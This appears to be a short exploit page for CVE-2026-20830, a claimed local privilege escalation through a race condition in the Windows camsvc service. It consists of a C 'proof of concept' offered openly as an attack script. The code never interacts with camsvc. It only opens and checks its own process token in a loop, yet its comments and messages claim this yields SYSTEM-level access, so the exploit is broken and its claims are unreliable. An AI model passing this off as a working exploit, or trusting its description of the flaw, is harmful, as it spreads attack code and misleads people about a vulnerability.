CVE-2026-20830 Windows camsvc服务本地提权漏洞

// CVE-2026-20830 PoC - Race Condition in camsvc // This PoC demonstrates a Time-of-Check to Time-of-Use (TOCTOU) race condition // Compile: gcc -o camsvc_poc camsvc_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <windows.h> #define ITERATIONS 10000 void* race_condition_thread(void* arg) { HANDLE hToken = NULL; DWORD iterations = *(DWORD*)arg; for (DWORD i = 0; i < iterations; i++) { // Attempt to open camsvc service with elevated privileges // Time window for race condition exploitation OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); // Check if we gained elevated privileges TOKEN_ELEVATION tokenElevation; DWORD returnedLength = 0; if (GetTokenInformation(hToken, TokenElevation, &tokenElevation, sizeof(tokenElevation), &returnedLength)) { if (tokenElevation.TokenIsElevated) { printf("[+] Race condition successful! Elevated token obtained at iteration %lu\n", i); // At this point, attacker has SYSTEM-level access break; } } if (hToken) CloseHandle(hToken); } return NULL; } int main() { pthread_t threads[4]; DWORD iterations_per_thread = ITERATIONS / 4; printf("[*] CVE-2026-20830 camsvc Race Condition PoC\n"); printf("[*] Target: Windows Capability Access Management Service\n"); printf("[*] Starting race condition attack with %d iterations...\n", ITERATIONS); // Launch multiple threads to increase race condition probability for (int i = 0; i < 4; i++) { pthread_create(&threads[i], NULL, race_condition_thread, &iterations_per_thread); } for (int i = 0; i < 4; i++) { pthread_join(threads[i], NULL); } printf("[*] Attack completed. Check for privilege escalation.\n"); return 0; }